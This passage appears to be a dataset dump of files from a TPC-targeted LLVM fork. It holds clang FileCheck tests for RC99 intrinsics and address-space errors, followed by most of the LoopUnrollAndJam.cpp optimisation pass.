v_convert_uint32_to_u8_b(x, sh1, 3, SW_SR, res, pred, 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=3 sr to_8 [[DEST]], [[SRC]], %S4, [[PRED]]\n\n income = res;\n }\n\n // v_convert_uint32_to_u8_vb\n {\n uchar256 res = income;\n \n res = v_convert_uint32_to_u8_vb(x, shift, 0, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 rhne to_8 [[DEST]], [[SRC]], [[SHIFT]], [[VPRED]]\n\n res = v_convert_uint32_to_u8_vb(x, 4, 0, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 rhne to_8 [[DEST]], [[SRC]], 0x4, [[VPRED]]\n\n res = v_convert_uint32_to_u8_vb(x, sh1, 0, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 rhne to_8 [[DEST]], [[SRC]], %S4, [[VPRED]]\n\n res = v_convert_uint32_to_u8_vb(x, shift, 0, 0, res, to_bool64(vpred), 1);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=0 rhne to_8 [[DEST]], [[SRC]], [[SHIFT]], ![[VPRED]]\n\n res = v_convert_uint32_to_u8_vb(x, shift, 1, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=1 rhne to_8 [[DEST]], [[SRC]], [[SHIFT]], [[VPRED]]\n\n res = v_convert_uint32_to_u8_vb(x, shift, 2, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=2 rhne to_8 [[DEST]], [[SRC]], [[SHIFT]], [[VPRED]]\n\n res = v_convert_uint32_to_u8_vb(x, shift, 3, 0, res, to_bool64(vpred), 0);\n *dest_ptr++ = res;\n// CHECK: convert_uint32 lane_sel=3 rhne to_8 [[DEST]], [[SRC]], [[SHIFT]], [[VPRED]]\n\n income = res;\n }\n}\n\n\n" }, { "alpha_fraction": 0.5009862184524536, "alphanum_fraction": 0.5818540453910828, "avg_line_length": 25.6842098236084, "blob_id": "f676313cf44bb5e4f9ce2dae102d89037f4eabef", "content_id": "acd8ce16b9f1fa9818a8f32bf1130eb39b87278e", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 507, "license_type": "permissive", "max_line_length": 79, "num_lines": 19, "path": "/clang/test/RC99/CodeGen/regs.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -triple -tpc-none-none -std=rc99 -S -O1 %s -o - | FileCheck %s\n\nvoid main(int dest, int dest2, int src) {\n uint64 __local *ptr = (uint64 __local*)dest;\n\n *ptr = (uint64) LFSR;\n// CHECK: READ %V{{[0-9]+}}, LFSR\n\n ptr[1] = (uint64) LFSR_NO_CHANGE;\n// CHECK-DAG: READ %V{{[0-9]+}}, LFSR_NO_CHANGE\n\n ptr[2] = V_LANE_ID_32;\n// CHECK-DAG: st_l_v %S0, 0x200, %V_LANE_ID_32\n\n uchar256 __local *ptr2 = (uchar256 __local*)dest2;\n\n *ptr2 = V_LANE_ID_8;\n// CHECK: st_l_v %S1, 0x0, %V_LANE_ID_8\n}\n" }, { "alpha_fraction": 0.6858863830566406, "alphanum_fraction": 0.7039586901664734, "avg_line_length": 57.04999923706055, "blob_id": "55e7b5371c4e93d9ff9066c110bb5ab5e3bf1ebc", "content_id": "a545e6956fa3be0918d6bb2b796cd5e1cf2eb144", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1162, "license_type": "permissive", "max_line_length": 121, "num_lines": 20, "path": "/clang/test/RC99/restrictions/addrspace-06.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -fsyntax-only -std=rc99 -std=rc99 -triple tpc-none-none -verify %s\n\nstruct New {\n __global__ float * global_var_ptr; // expected-error{{fields cannot be global pointers}}\n __local__ float * local_var_ptr;\n __local__ float64 * local_vec_ptr;\n __global__ float64 * global_vec_ptr;\n};\n\n__local__ struct New local_struc; \n__global__ struct New global_struc; // expected-error{{variables in global address space are not allowed}}\n\n__global__ int * __local locvar_globptr[4]; // expected-error{{arrays of global pointers are not allowed}}\n__local__ int * __global globvar_locptr[4]; // expected-error{{variables in global address space are not allowed}}\n__global__ int * __global globvar_globptr[4]; // expected-error{{variables in global address space are not allowed}}\n__global__ int64 * __local locvar_globvecptr[4]; // expected-error{{arrays of global pointers are not allowed}}\n__local__ int64 * __global globvar_locvecptr[4]; // expected-error{{variables in global address space are not allowed}}\n__global__ int64 * __global globvar_globvecptr[4]; // expected-error{{variables in global address space are not allowed}}\n\nvoid main() {}\n\n" }, { "alpha_fraction": 0.5401337742805481, "alphanum_fraction": 0.6571906208992004, "avg_line_length": 48.83333206176758, "blob_id": "68bf153f5d72d9ace1dec75a2a19e72e45151247", "content_id": "bf5027b899a2e304592ab2bf58e365bf25cf6136", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 598, "license_type": "permissive", "max_line_length": 151, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_float256_to_bfloat256.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n float256 *sptr = (float256 *)src;\n bfloat256 *dptr = (bfloat256 *)dest;\n float256 src_val = *sptr;\n *dptr++ = convert_float256_to_bfloat256(src_val, 0);\n *dptr = convert_float256_to_bfloat256(src_val, SW_RU);\n}\n\n// CHECK-IR: fptrunc <256 x float> {{.*}} to <256 x bfloat>\n// CHECK-IR: call <256 x bfloat> @llvm.tpc.convert.v256bf16.v256f32.i1(<256 x float> {{.*}}, i8 0, i32 131328, <256 x bfloat> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5212947130203247, "alphanum_fraction": 0.6490630507469177, "avg_line_length": 47.91666793823242, "blob_id": "bf59123327120ece82b133961e3b7ceaffaaa847", "content_id": "5eea994763785e2fa5edef6f78f1770dbf996edc", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 587, "license_type": "permissive", "max_line_length": 144, "num_lines": 12, "path": "/clang/test/RC99/Intrinsics/convert_to/convert_float128_to_short128.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %clang_cc1 -S -emit-llvm -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi %s -o - | FileCheck --check-prefixes=CHECK-IR %s\n\nvoid main(int src, int dest) {\n float128 *sptr = (float128 *)src;\n short128 *dptr = (short128 *)dest;\n float128 src_val = *sptr;\n *dptr++ = convert_float128_to_short128(src_val, SW_RZ);\n *dptr = convert_float128_to_short128(src_val, SW_RD);\n}\n\n// CHECK-IR: fptosi <128 x float> {{.*}} to <128 x i16>\n// CHECK-IR: call <128 x i16> @llvm.tpc.convert.v128i16.v128f32.i1(<128 x float> {{.*}}, i8 0, i32 198400, <128 x i16> undef, i1 true, i1 false)\n" }, { "alpha_fraction": 0.5141844153404236, "alphanum_fraction": 0.5957446694374084, "avg_line_length": 30.33333396911621, "blob_id": "6d0e3e85966a32e656d8035d4ca5547b85dd6f22", "content_id": "b9f1b80b386c890290e15aaf114c6d731b04744d", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 282, "license_type": "permissive", "max_line_length": 106, "num_lines": 9, "path": "/clang/test/RC99/bfloat16/bf16_copy-05.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -triple tpc-none-none -std=rc99 -O1 -target-cpu gaudi -bfloat16 %s -o - | FileCheck %s\n\nvoid main(int dest) {\n bfloat128 __local *dptr = (bfloat128 __local *) dest;\n\n *dptr = 8.0bf;\n// CHECK: mov.bf16 [[REG:%V[0-9]+]], 0x4100\n// CHECK: st_l_v %S0, [[REG]]\n}\n" }, { "alpha_fraction": 0.45476189255714417, "alphanum_fraction": 0.4992063343524933, "avg_line_length": 24.714284896850586, "blob_id": "b5f7b00883b02b5e5a773936cbf93e385aeec0cc", "content_id": "b6d278b3fa4b068d8326204ec06fee50ceeadbfd", "detected_licenses": [ "Apache-2.0", "LLVM-exception", "NCSA" ], "is_generated": false, "is_vendor": false, "language": "C", "length_bytes": 1260, "license_type": "permissive", "max_line_length": 135, "num_lines": 49, "path": "/clang/test/RC99/IntrinsicsL/b_xx_mov_s.c", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 %s -o - | FileCheck %s\n// RUN: %codegen -S -O1 -triple tpc-none-none -std=rc99 -target-cpu gaudi -bfloat16 %s -o - | FileCheck --check-prefixes=CHECK,GAUDI %s\n\nvoid main(int dest, int src, _Bool pred) {\n int __local *dptr = (int __local *)dest;\n _Bool res;\n\n float xf = as_float(*dptr++);\n res = b_f32_mov_s(xf);\n *dptr++ = res;\n// CHECK: mov %SP{{[0-9]+}}, %S{{[0-9]+}}\n\n#ifdef __gaudi__\n _BFloat16 xbf = as_bfloat((short)*dptr++);\n res = b_bf16_mov_s(xbf);\n *dptr++ = res;\n// GAUDI: mov %SP{{[0-9]+}}, %S{{[0-9]+}}\n#endif\n\n int xi = *dptr++;\n res = b_i32_mov_s(xi);\n *dptr++ = res;\n// CHECK: mov %SP{{[0-9]+}}, %S{{[0-9]+}}\n\n unsigned xu = *dptr++;\n res = b_u32_mov_s(xu);\n *dptr++ = res;\n// CHECK: mov %SP{{[0-9]+}}, %S{{[0-9]+}}\n\n short xs = *dptr++;\n res = b_i16_mov_s(xs);\n *dptr++ = res;\n// CHECK: mov %SP{{[0-9]+}}, %S{{[0-9]+}}\n\n unsigned short xus = *dptr++;\n res = b_u16_mov_s(xus);\n *dptr++ = res;\n// CHECK: mov %SP{{[0-9]+}}, %S{{[0-9]+}}\n\n char xc = *dptr++;\n res = b_i8_mov_s(xc);\n *dptr++ = res;\n// CHECK: mov %SP{{[0-9]+}}, %S{{[0-9]+}}\n\n unsigned char xuc = *dptr++;\n res = b_u8_mov_s(xuc);\n *dptr++ = res;\n// CHECK: mov %SP{{[0-9]+}}, %S{{[0-9]+}}\n}\n" }, { "alpha_fraction": 0.6219208240509033, "alphanum_fraction": 0.6261987090110779, "avg_line_length": 35.266910552978516, "blob_id": "5d73a6df46a6313f287f8419cede0b2e9019d1e2", "content_id": "df1a246beb139f71dd0f1033e9b682b7aecbc2fe", "detected_licenses": [ "NCSA", "LLVM-exception", "Apache-2.0" ], "is_generated": false, "is_vendor": false, "language": "C++", "length_bytes": 49323, "license_type": "permissive", "max_line_length": 80, "num_lines": 1360, "path": "/llvm/lib/Transforms/Utils/LoopUnrollAndJam.cpp", "repo_name": "Daasin/tpc_llvm", "src_encoding": "UTF-8", "text": "//===-- LoopUnrollAndJam.cpp - Loop unrolling utilities -------------------===//\n//\n// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.\n// See https://llvm.org/LICENSE.txt for license information.\n// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception\n//\n//===----------------------------------------------------------------------===//\n//\n// This file implements loop unroll and jam as a routine, much like\n// LoopUnroll.cpp implements loop unroll.\n//\n//===----------------------------------------------------------------------===//\n\n#include \"llvm/ADT/SmallPtrSet.h\"\n#include \"llvm/ADT/Statistic.h\"\n#include \"llvm/Analysis/AssumptionCache.h\"\n#include \"llvm/Analysis/DependenceAnalysis.h\"\n#include \"llvm/Analysis/InstructionSimplify.h\"\n#include \"llvm/Analysis/LoopAnalysisManager.h\"\n#include \"llvm/Analysis/LoopIterator.h\"\n#include \"llvm/Analysis/LoopPass.h\"\n#include \"llvm/Analysis/OptimizationRemarkEmitter.h\"\n#include \"llvm/Analysis/ScalarEvolution.h\"\n#include \"llvm/Analysis/Utils/Local.h\"\n#include \"llvm/IR/BasicBlock.h\"\n#include \"llvm/IR/DataLayout.h\"\n#include \"llvm/IR/DebugInfoMetadata.h\"\n#include \"llvm/IR/Dominators.h\"\n#include \"llvm/IR/IntrinsicInst.h\"\n#include \"llvm/IR/IntrinsicsTPC.h\"\n#include \"llvm/IR/LLVMContext.h\"\n#include \"llvm/Support/Debug.h\"\n#include \"llvm/Support/raw_ostream.h\"\n#include \"llvm/Transforms/Utils/BasicBlockUtils.h\"\n#include \"llvm/Transforms/Utils/Cloning.h\"\n#include \"llvm/Transforms/Utils/LoopSimplify.h\"\n#include \"llvm/Transforms/Utils/LoopUtils.h\"\n#include \"llvm/Transforms/Utils/SimplifyIndVar.h\"\n#include \"llvm/Transforms/Utils/UnrollLoop.h\"\nusing namespace llvm;\n\n#define DEBUG_TYPE \"loop-unroll-and-jam\"\n\nSTATISTIC(NumUnrolledAndJammed, \"Number of loops unroll and jammed\");\nSTATISTIC(NumCompletelyUnrolledAndJammed, \"Number of loops unroll and jammed\");\n\ntypedef SmallPtrSet<BasicBlock *, 4> BasicBlockSet;\n\n// Partition blocks in an outer/inner loop pair into blocks before and after\n// the loop\nstatic bool partitionOuterLoopBlocks(Loop *L, Loop *SubLoop,\n BasicBlockSet &ForeBlocks,\n BasicBlockSet &SubLoopBlocks,\n BasicBlockSet &AftBlocks,\n DominatorTree *DT) {\n BasicBlock *SubLoopLatch = SubLoop->getLoopLatch();\n SubLoopBlocks.insert(SubLoop->block_begin(), SubLoop->block_end());\n\n for (BasicBlock *BB : L->blocks()) {\n if (!SubLoop->contains(BB)) {\n if (DT->dominates(SubLoopLatch, BB))\n AftBlocks.insert(BB);\n else\n ForeBlocks.insert(BB);\n }\n }\n\n // Check that all blocks in ForeBlocks together dominate the subloop\n // TODO: This might ideally be done better with a dominator/postdominators.\n BasicBlock *SubLoopPreHeader = SubLoop->getLoopPreheader();\n for (BasicBlock *BB : ForeBlocks) {\n if (BB == SubLoopPreHeader)\n continue;\n Instruction *TI = BB->getTerminator();\n for (unsigned i = 0, e = TI->getNumSuccessors(); i != e; ++i)\n if (!ForeBlocks.count(TI->getSuccessor(i)))\n return false;\n }\n\n return true;\n}\n\n// Looks at the phi nodes in Header for values coming from Latch. For these\n// instructions and all their operands calls Visit on them, keeping going for\n// all the operands in AftBlocks. Returns false if Visit returns false,\n// otherwise returns true. This is used to process the instructions in the\n// Aft blocks that need to be moved before the subloop. It is used in two\n// places. One to check that the required set of instructions can be moved\n// before the loop. Then to collect the instructions to actually move in\n// moveHeaderPhiOperandsToForeBlocks.\ntemplate <typename T>\nstatic bool processHeaderPhiOperands(BasicBlock *Header, BasicBlock *Latch,\n BasicBlockSet &AftBlocks, T Visit) {\n SmallVector<Instruction *, 8> Worklist;\n for (auto &Phi : Header->phis()) {\n Value *V = Phi.getIncomingValueForBlock(Latch);\n if (Instruction *I = dyn_cast<Instruction>(V))\n Worklist.push_back(I);\n }\n\n while (!Worklist.empty()) {\n Instruction *I = Worklist.back();\n Worklist.pop_back();\n if (!Visit(I))\n return false;\n\n if (AftBlocks.count(I->getParent()))\n for (auto &U : I->operands())\n if (Instruction *II = dyn_cast<Instruction>(U))\n Worklist.push_back(II);\n }\n\n return true;\n}\n\n// Move the phi operands of Header from Latch out of AftBlocks to InsertLoc.\nstatic void moveHeaderPhiOperandsToForeBlocks(BasicBlock *Header,\n BasicBlock *Latch,\n Instruction *InsertLoc,\n BasicBlockSet &AftBlocks) {\n // We need to ensure we move the instructions in the correct order,\n // starting with the earliest required instruction and moving forward.\n std::vector<Instruction *> Visited;\n processHeaderPhiOperands(Header, Latch, AftBlocks,\n [&Visited, &AftBlocks](Instruction *I) {\n if (AftBlocks.count(I->getParent()))\n Visited.push_back(I);\n return true;\n });\n\n // Move all instructions in program order to before the InsertLoc\n BasicBlock *InsertLocBB = InsertLoc->getParent();\n for (Instruction *I : reverse(Visited)) {\n if (I->getParent() != InsertLocBB)\n I->moveBefore(InsertLoc);\n }\n}\n\n/*\n This method performs Unroll and Jam. For a simple loop like:\n for (i = ..)\n Fore(i)\n for (j = ..)\n SubLoop(i, j)\n Aft(i)\n\n Instead of doing normal inner or outer unrolling, we do:\n for (i = .., i+=2)\n Fore(i)\n Fore(i+1)\n for (j = ..)\n SubLoop(i, j)\n SubLoop(i+1, j)\n Aft(i)\n Aft(i+1)\n\n So the outer loop is essetially unrolled and then the inner loops are fused\n (\"jammed\") together into a single loop. This can increase speed when there\n are loads in SubLoop that are invariant to i, as they become shared between\n the now jammed inner loops.\n\n We do this by spliting the blocks in the loop into Fore, Subloop and Aft.\n Fore blocks are those before the inner loop, Aft are those after. Normal\n Unroll code is used to copy each of these sets of blocks and the results are\n combined together into the final form above.\n\n isSafeToUnrollAndJam should be used prior to calling this to make sure the\n unrolling will be valid. Checking profitablility is also advisable.\n\n If EpilogueLoop is non-null, it receives the epilogue loop (if it was\n necessary to create one and not fully unrolled).\n*/\nLoopUnrollResult\nllvm::UnrollAndJamLoop(Loop *L, unsigned Count, unsigned TripCount,\n unsigned TripMultiple, bool UnrollRemainder,\n LoopInfo *LI, ScalarEvolution *SE, DominatorTree *DT,\n AssumptionCache *AC, OptimizationRemarkEmitter *ORE,\n bool IgnoreRemainder, Loop **EpilogueLoop) {\n\n // When we enter here we should have already checked that it is safe\n BasicBlock *Header = L->getHeader();\n assert(Header && \"No header.\");\n assert(L->getSubLoops().size() == 1);\n Loop *SubLoop = *L->begin();\n\n // Don't enter the unroll code if there is nothing to do.\n if (TripCount == 0 && Count < 2) {\n LLVM_DEBUG(dbgs() << \"Won't unroll-and-jam; almost nothing to do\\n\");\n return LoopUnrollResult::Unmodified;\n }\n\n assert(Count > 0);\n assert(TripMultiple > 0);\n assert(TripCount == 0 || TripCount % TripMultiple == 0);\n\n // Are we eliminating the loop control altogether?\n bool CompletelyUnroll = (Count == TripCount);\n\n LLVM_DEBUG(dbgs() << \"option to ignore remainder loop is \" << IgnoreRemainder\n << \"\\n\");\n\n // We use the runtime remainder in cases where we don't know trip multiple\n if (TripMultiple == 1 || (TripMultiple % Count != 0 && !IgnoreRemainder)) {\n#ifdef LLVM_TPC_COMPILER\n bool UnjAllowExpensiveTripCount = true;\n#else\n bool UnjAllowExpensiveTripCount = false;\n#endif\n if (!UnrollRuntimeLoopRemainder(L, Count, UnjAllowExpensiveTripCount,\n /*UseEpilogRemainder*/ true,\n UnrollRemainder, /*ForgetAllSCEV*/ false,\n LI, SE, DT, AC, true, EpilogueLoop)) {\n LLVM_DEBUG(dbgs() << \"Won't unroll-and-jam; remainder loop could not be \"\n \"generated when assuming runtime trip count\\n\");\n return LoopUnrollResult::Unmodified;\n }\n }\n\n // Notify ScalarEvolution that the loop will be substantially changed,\n // if not outright eliminated.\n if (SE) {\n SE->forgetLoop(L);\n SE->forgetLoop(SubLoop);\n }\n\n using namespace ore;\n // Report the unrolling decision.\n if (CompletelyUnroll) {\n LLVM_DEBUG(dbgs() << \"COMPLETELY UNROLL AND JAMMING loop %\"\n << Header->getName() << \" with trip count \" << TripCount\n << \"!\\n\");\n ORE->emit(OptimizationRemark(DEBUG_TYPE, \"FullyUnrolled\", L->getStartLoc(),\n L->getHeader())\n << \"completely unroll and jammed loop with \"\n << NV(\"UnrollCount\", TripCount) << \" iterations\");\n } else {\n auto DiagBuilder = [&]() {\n OptimizationRemark Diag(DEBUG_TYPE, \"PartialUnrolled\", L->getStartLoc(),\n L->getHeader());\n return Diag << \"unroll and jammed loop by a factor of \"\n << NV(\"UnrollCount\", Count);\n };\n\n LLVM_DEBUG(dbgs() << \"UNROLL AND JAMMING loop %\" << Header->getName()\n << \" by \" << Count);\n if (TripMultiple != 1) {\n LLVM_DEBUG(dbgs() << \" with \" << TripMultiple << \" trips per branch\");\n ORE->emit([&]() {\n return DiagBuilder() << \" with \" << NV(\"TripMultiple\", TripMultiple)\n << \" trips per branch\";\n });\n } else {\n LLVM_DEBUG(dbgs() << \" with run-time trip count\");\n ORE->emit([&]() { return DiagBuilder() << \" with run-time trip count\"; });\n }\n LLVM_DEBUG(dbgs() << \"!\\n\");\n }\n\n BasicBlock *Preheader = L->getLoopPreheader();\n BasicBlock *LatchBlock = L->getLoopLatch();\n assert(Preheader && \"No preheader\");\n assert(LatchBlock && \"No latch block\");\n BranchInst *BI = dyn_cast<BranchInst>(LatchBlock->getTerminator());\n assert(BI && !BI->isUnconditional());\n bool ContinueOnTrue = L->contains(BI->getSuccessor(0));\n BasicBlock *LoopExit = BI->getSuccessor(ContinueOnTrue);\n bool SubLoopContinueOnTrue = SubLoop->contains(\n SubLoop->getLoopLatch()->getTerminator()->getSuccessor(0));\n\n // Partition blocks in an outer/inner loop pair into blocks before and after\n // the loop\n BasicBlockSet SubLoopBlocks;\n BasicBlockSet ForeBlocks;\n BasicBlockSet AftBlocks;\n partitionOuterLoopBlocks(L, SubLoop, ForeBlocks, SubLoopBlocks, AftBlocks,\n DT);\n\n // We keep track of the entering/first and exiting/last block of each of\n // Fore/SubLoop/Aft in each iteration. This helps make the stapling up of\n // blocks easier.\n std::vector<BasicBlock *> ForeBlocksFirst;\n std::vector<BasicBlock *> ForeBlocksLast;\n std::vector<BasicBlock *> SubLoopBlocksFirst;\n std::vector<BasicBlock *> SubLoopBlocksLast;\n std::vector<BasicBlock *> AftBlocksFirst;\n std::vector<BasicBlock *> AftBlocksLast;\n ForeBlocksFirst.push_back(Header);\n ForeBlocksLast.push_back(SubLoop->getLoopPreheader());\n SubLoopBlocksFirst.push_back(SubLoop->getHeader());\n SubLoopBlocksLast.push_back(SubLoop->getExitingBlock());\n AftBlocksFirst.push_back(SubLoop->getExitBlock());\n AftBlocksLast.push_back(L->getExitingBlock());\n // Maps Blocks[0] -> Blocks[It]\n ValueToValueMapTy LastValueMap;\n\n // Move any instructions from fore phi operands from AftBlocks into Fore.\n moveHeaderPhiOperandsToForeBlocks(\n Header, LatchBlock, SubLoop->getLoopPreheader()->getTerminator(),\n AftBlocks);\n\n // The current on-the-fly SSA update requires blocks to be processed in\n // reverse postorder so that LastValueMap contains the correct value at each\n // exit.\n LoopBlocksDFS DFS(L);\n DFS.perform(LI);\n // Stash the DFS iterators before adding blocks to the loop.\n LoopBlocksDFS::RPOIterator BlockBegin = DFS.beginRPO();\n LoopBlocksDFS::RPOIterator BlockEnd = DFS.endRPO();\n\n if (Header->getParent()->isDebugInfoForProfiling())\n for (BasicBlock *BB : L->getBlocks())\n for (Instruction &I : *BB)\n if (!isa<DbgInfoIntrinsic>(&I))\n if (const DILocation *DIL = I.getDebugLoc()) {\n auto NewDIL = DIL->cloneByMultiplyingDuplicationFactor(Count);\n if (NewDIL)\n I.setDebugLoc(NewDIL.getValue());\n else\n LLVM_DEBUG(dbgs()\n << \"Failed to create new discriminator: \"\n << DIL->getFilename() << \" Line: \" << DIL->getLine());\n }\n\n // Copy all blocks\n for (unsigned It = 1; It != Count; ++It) {\n std::vector<BasicBlock *> NewBlocks;\n // Maps Blocks[It] -> Blocks[It-1]\n DenseMap<Value *, Value *> PrevItValueMap;\n\n for (LoopBlocksDFS::RPOIterator BB = BlockBegin; BB != BlockEnd; ++BB) {\n ValueToValueMapTy VMap;\n BasicBlock *New = CloneBasicBlock(*BB, VMap, \".\" + Twine(It));\n Header->getParent()->getBasicBlockList().push_back(New);\n\n if (ForeBlocks.count(*BB)) {\n L->addBasicBlockToLoop(New, *LI);\n\n if (*BB == ForeBlocksFirst[0])\n ForeBlocksFirst.push_back(New);\n if (*BB == ForeBlocksLast[0])\n ForeBlocksLast.push_back(New);\n } else if (SubLoopBlocks.count(*BB)) {\n SubLoop->addBasicBlockToLoop(New, *LI);\n\n if (*BB == SubLoopBlocksFirst[0])\n SubLoopBlocksFirst.push_back(New);\n if (*BB == SubLoopBlocksLast[0])\n SubLoopBlocksLast.push_back(New);\n } else if (AftBlocks.count(*BB)) {\n L->addBasicBlockToLoop(New, *LI);\n\n if (*BB == AftBlocksFirst[0])\n AftBlocksFirst.push_back(New);\n if (*BB == AftBlocksLast[0])\n AftBlocksLast.push_back(New);\n } else {\n llvm_unreachable(\"BB being cloned should be in Fore/Sub/Aft\");\n }\n\n // Update our running maps of newest clones\n PrevItValueMap[New] = (It == 1 ? *BB : LastValueMap[*BB]);\n LastValueMap[*BB] = New;\n for (ValueToValueMapTy::iterator VI = VMap.begin(), VE = VMap.end();\n VI != VE; ++VI) {\n PrevItValueMap[VI->second] =\n const_cast<Value *>(It == 1 ? VI->first : LastValueMap[VI->first]);\n LastValueMap[VI->first] = VI->second;\n }\n\n NewBlocks.push_back(New);\n\n // Update DomTree:\n if (*BB == ForeBlocksFirst[0])\n DT->addNewBlock(New, ForeBlocksLast[It - 1]);\n else if (*BB == SubLoopBlocksFirst[0])\n DT->addNewBlock(New, SubLoopBlocksLast[It - 1]);\n else if (*BB == AftBlocksFirst[0])\n DT->addNewBlock(New, AftBlocksLast[It - 1]);\n else {\n // Each set of blocks (Fore/Sub/Aft) will have the same internal domtree\n // structure.\n auto BBDomNode = DT->getNode(*BB);\n auto BBIDom = BBDomNode->getIDom();\n BasicBlock *OriginalBBIDom = BBIDom->getBlock();\n assert(OriginalBBIDom);\n assert(LastValueMap[cast<Value>(OriginalBBIDom)]);\n DT->addNewBlock(\n New, cast<BasicBlock>(LastValueMap[cast<Value>(OriginalBBIDom)]));\n }\n }\n\n // Remap all instructions in the most recent iteration\n for (BasicBlock *NewBlock : NewBlocks) {\n for (Instruction &I : *NewBlock) {\n ::remapInstruction(&I, LastValueMap);\n if (auto *II = dyn_cast<IntrinsicInst>(&I))\n if (II->getIntrinsicID() == Intrinsic::assume)\n AC->registerAssumption(II);\n }\n }\n\n // Alter the ForeBlocks phi's, pointing them at the latest version of the\n // value from the previous iteration's phis\n for (PHINode &Phi : ForeBlocksFirst[It]->phis()) {\n Value *OldValue = Phi.getIncomingValueForBlock(AftBlocksLast[It]);\n assert(OldValue && \"should have incoming edge from Aft[It]\");\n Value *NewValue = OldValue;\n if (Value *PrevValue = PrevItValueMap[OldValue])\n NewValue = PrevValue;\n\n assert(Phi.getNumOperands() == 2);\n Phi.setIncomingBlock(0, ForeBlocksLast[It - 1]);\n Phi.setIncomingValue(0, NewValue);\n Phi.removeIncomingValue(1);\n }\n }\n\n // Now that all the basic blocks for the unrolled iterations are in place,\n // finish up connecting the blocks and phi nodes. At this point LastValueMap\n // is the last unrolled iterations values.\n\n // Update Phis in BB from OldBB to point to NewBB\n auto updatePHIBlocks = [](BasicBlock *BB, BasicBlock *OldBB,\n BasicBlock *NewBB) {\n for (PHINode &Phi : BB->phis()) {\n int I = Phi.getBasicBlockIndex(OldBB);\n Phi.setIncomingBlock(I, NewBB);\n }\n };\n // Update Phis in BB from OldBB to point to NewBB and use the latest value\n // from LastValueMap\n auto updatePHIBlocksAndValues = [](BasicBlock *BB, BasicBlock *OldBB,\n BasicBlock *NewBB,\n ValueToValueMapTy &LastValueMap) {\n for (PHINode &Phi : BB->phis()) {\n for (unsigned b = 0; b < Phi.getNumIncomingValues(); ++b) {\n if (Phi.getIncomingBlock(b) == OldBB) {\n Value *OldValue = Phi.getIncomingValue(b);\n if (Value *LastValue = LastValueMap[OldValue])\n Phi.setIncomingValue(b, LastValue);\n Phi.setIncomingBlock(b, NewBB);\n break;\n }\n }\n }\n };\n // Move all the phis from Src into Dest\n auto movePHIs = [](BasicBlock *Src, BasicBlock *Dest) {\n Instruction *insertPoint = Dest->getFirstNonPHI();\n while (PHINode *Phi = dyn_cast<PHINode>(Src->begin()))\n Phi->moveBefore(insertPoint);\n };\n\n // Update the PHI values outside the loop to point to the last block\n updatePHIBlocksAndValues(LoopExit, AftBlocksLast[0], AftBlocksLast.back(),\n LastValueMap);\n\n // Update ForeBlocks successors and phi nodes\n BranchInst *ForeTerm =\n cast<BranchInst>(ForeBlocksLast.back()->getTerminator());\n BasicBlock *Dest = SubLoopBlocksFirst[0];\n ForeTerm->setSuccessor(0, Dest);\n\n if (CompletelyUnroll) {\n while (PHINode *Phi = dyn_cast<PHINode>(ForeBlocksFirst[0]->begin())) {\n Phi->replaceAllUsesWith(Phi->getIncomingValueForBlock(Preheader));\n Phi->getParent()->getInstList().erase(Phi);\n }\n } else {\n // Update the PHI values to point to the last aft block\n updatePHIBlocksAndValues(ForeBlocksFirst[0], AftBlocksLast[0],\n AftBlocksLast.back(), LastValueMap);\n }\n\n for (unsigned It = 1; It != Count; It++) {\n // Remap ForeBlock successors from previous iteration to this\n BranchInst *ForeTerm =\n cast<BranchInst>(ForeBlocksLast[It - 1]->getTerminator());\n BasicBlock *Dest = ForeBlocksFirst[It];\n ForeTerm->setSuccessor(0, Dest);\n }\n\n // Subloop successors and phis\n BranchInst *SubTerm =\n cast<BranchInst>(SubLoopBlocksLast.back()->getTerminator());\n SubTerm->setSuccessor(!SubLoopContinueOnTrue, SubLoopBlocksFirst[0]);\n SubTerm->setSuccessor(SubLoopContinueOnTrue, AftBlocksFirst[0]);\n updatePHIBlocks(SubLoopBlocksFirst[0], ForeBlocksLast[0],\n ForeBlocksLast.back());\n updatePHIBlocks(SubLoopBlocksFirst[0], SubLoopBlocksLast[0],\n SubLoopBlocksLast.back());\n\n for (unsigned It = 1; It != Count; It++) {\n // Replace the conditional branch of the previous iteration subloop with an\n // unconditional one to this one\n BranchInst *SubTerm =\n cast<BranchInst>(SubLoopBlocksLast[It - 